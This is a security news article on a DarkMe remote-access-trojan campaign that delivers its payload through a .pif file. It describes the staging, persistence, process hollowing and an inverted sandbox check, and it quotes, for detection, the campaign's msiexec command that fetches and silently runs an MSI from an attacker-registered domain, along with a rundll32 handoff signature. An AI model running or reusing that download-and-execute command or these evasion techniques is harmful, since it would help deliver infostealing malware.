DarkMe's operators swapped two zero-days for a .pif file Windows executes on a double-click

DarkMe is a Visual Basic 6 RAT and infostealer that goes after crypto-wallets and can take screenshots.

DarkMe was first observed in September 2021 and publicly documented a year later by NSFOCUS under "Operation DarkCasino", attributed to a group called EvilNum.

In the new campaign there is no exploit at all; a Huntress hunting rule picked up odd activity around a program information file (PIF) launching Windows Installer.

"Modern Windows systems execute .pif files as a program, regardless of what the extension implies (or what the icon shows)."

The file's Properties sheet describes it as a "Shortcut to MS-DOS program" but the file is itself an executable.

"The command that initiates the final stage of infection, rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}, was observed in the 2024 campaign, and is a great signature to detect or hunt on"

Andrew Brandt, Principal Threat Intelligence Incident Commander at Huntress, told Help Net Security that the company cannot confirm this attack was carried out by Water Hydra, also known as DarkCasino, the group associated with the 2024 attacks documented by Trend Micro and SonicWall.

"We do have some clues about the malware's possible origins. For example, the Spanish localization property in the compiled DLLs suggests that the developer may be a Spanish national or living in Spain."

Huntress said that at this point it does not know whether DarkMe is being offered as-a-service to cybercriminals willing to pay for it.

"We are watching threat actors pivot from highly skilled, targeted intrusions toward high-volume, low-effort attacks and the results speak for themselves. In 2026, users are still clicking links in unsolicited emails. As long as these old-school phishing tactics keep working, adversaries have no reason to burn expensive exploits."

Help Net Security reports that the shift in targeting from niche forex traders to everyday corporate users is apparent.

Researchers at Trend Micro and SonicWall have tied the DarkMe malware, with the usual attribution caveats, to Water Hydra, an APT group whose campaigns are typically financially motivated and target forex traders, stock-trading forums, online gambling platforms and cryptocurrency users.

In 2023, Water Hydra weaponised the WinRAR extension-spoofing flaw CVE-2023-38831 as a zero day, dropping malicious archives on trading forums.

In late 2023 and early 2024, Water Hydra pivoted to CVE-2024-21412, a Defender SmartScreen bypass built on a shortcut that points to another shortcut, staged over a WebDAV share behind a crafted Explorer view.

When renamed with a .exe extension, the Details tab on the file's Properties sheet reveals previously concealed forged information implying the file is a component of a security product called Aegis Sentinel, but it is unrelated to that product.

The PIF's only job is to invoke msiexec to download and execute an .msi file from an attacker-registered address, using the command msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart.

Huntress says fetching a remote MSI over HTTPS with /quiet is rare in most environments, because legitimate installers almost never live in the root of an otherwise empty domain.

The MSI's metadata identifies it as built with the exemsi "MSI Wrapper" (version 11.0.53.0), packaged under the cover name "PrinterFind Softwares", with a creation date of January 11, 2024.

EXPAND.EXE -R files.cab drops the components into %AppData%\ComponentsFolder\ and the installer executes prnfig.wsf.

The staging script prnfig.wsf copies every dropped file into %AppData%\ComponentsFolder\ and copies only clspack.exe into %AppData%\Microsoft\, staging the hollowing target.

The staging script performs a registry-template rewrite, then a reg import plus rundll32 /sta handoff.

A final chain of loaders tests the system for the presence of many applications, including Slack and Discord, Zoom and WhatsApp, password managers, trading terminals, online poker clients, cryptowallets, VPN clients, game launchers, Spotify, browsers, PDF readers, and OEM and peripheral support utilities.

"Execution stops when none of the 329 are found. This is not a target list; it is an inverted sandbox check."

"Gaming-mouse configuration utilities and RGB lighting daemons hold nothing of value, but they do prove that a human being uses this computer."

The chain then creates registry values to assure persistence, profiles the system, performs process hollowing and delivers the final DarkMe payload.

"As for motivation, the activity appears to be financially driven, though the actors also seem willing to target children for things like Roblox Robux or Steam and Epic Games registration keys."

Huntress shared indicators of compromise associated with this campaign and advised on how to catch the infection, contain it and clean it.

Two documented zero-days, CVE-2023-38831 and CVE-2024-21412, preceded a DarkMe campaign that used no exploit.

Neither the Huntress write-up nor the Help Net Security report states whether .pif was blocked by mail or endpoint policy in the two affected environments.

The MSI wrapper's creation date of January 11, 2024 falls inside the late 2023 to early 2024 window in which Water Hydra used CVE-2024-21412.